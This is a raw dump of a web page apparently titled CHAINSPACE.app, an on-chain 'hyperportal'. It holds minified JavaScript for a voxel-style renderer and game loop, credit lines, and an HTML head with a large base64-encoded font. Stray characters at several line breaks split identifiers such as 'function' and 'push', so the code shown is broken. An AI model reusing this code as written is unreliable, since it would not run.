)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
